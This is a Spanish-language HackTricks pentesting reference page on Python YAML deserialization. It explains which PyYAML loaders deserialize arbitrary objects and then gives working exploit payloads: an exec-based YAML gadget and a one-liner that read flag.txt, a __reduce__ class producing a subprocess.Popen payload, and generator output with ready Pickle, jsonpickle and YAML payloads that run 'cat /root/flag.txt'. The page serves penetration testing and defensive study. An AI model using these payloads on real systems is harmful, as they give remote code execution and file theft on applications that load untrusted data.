hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

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# Python Yaml Deserialization
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## Yaml **Deserialization**
**Yaml** las bibliotecas de python también son capaces de **serializar objetos de python** y no solo datos en bruto:
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Verifica cómo el **tuple** no es un tipo de dato bruto y, por lo tanto, fue **serializado**. Y lo mismo ocurrió con el **range** (tomado de los builtins).
![](<../../.gitbook/assets/image (1040).png>)
**safe\_load()** o **safe\_load\_all()** utiliza SafeLoader y **no soporta la deserialización de objetos de clase**. Ejemplo de deserialización de objetos de clase:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
El código anterior utilizó **unsafe\_load** para cargar la clase de python serializada. Esto se debe a que en **versión >= 5.1**, no permite **deserializar ninguna clase de python serializada o atributo de clase**, sin un Loader especificado en load() o Loader=SafeLoader.
### Exploit Básico
Ejemplo de cómo **ejecutar un sleep**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### Vulnerable .load("\<content>") without Loader
**Las versiones antiguas** de pyyaml eran vulnerables a ataques de deserialización si **no especificabas el Loader** al cargar algo: `yaml.load(data)`
Puedes encontrar la [**descripción de la vulnerabilidad aquí**](https://hackmd.io/@defund/HJZajCVlP)**.** La **explotación** propuesta en esa página es:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
O también podrías usar esta **línea única proporcionada por @ishaack**:
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
Note que en **versiones recientes** ya no puede **llamar a `.load()`** **sin un `Loader`** y el **`FullLoader`** **ya no es vulnerable** a este ataque.
## RCE
Se pueden crear cargas útiles personalizadas utilizando módulos de Python YAML como **PyYAML** o **ruamel.yaml**. Estas cargas útiles pueden explotar vulnerabilidades en sistemas que deserializan entradas no confiables sin la debida sanitización.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Herramienta para crear Payloads
La herramienta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) se puede utilizar para generar payloads de deserialización en python para abusar de **Pickle, PyYAML, jsonpickle y ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### Referencias
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
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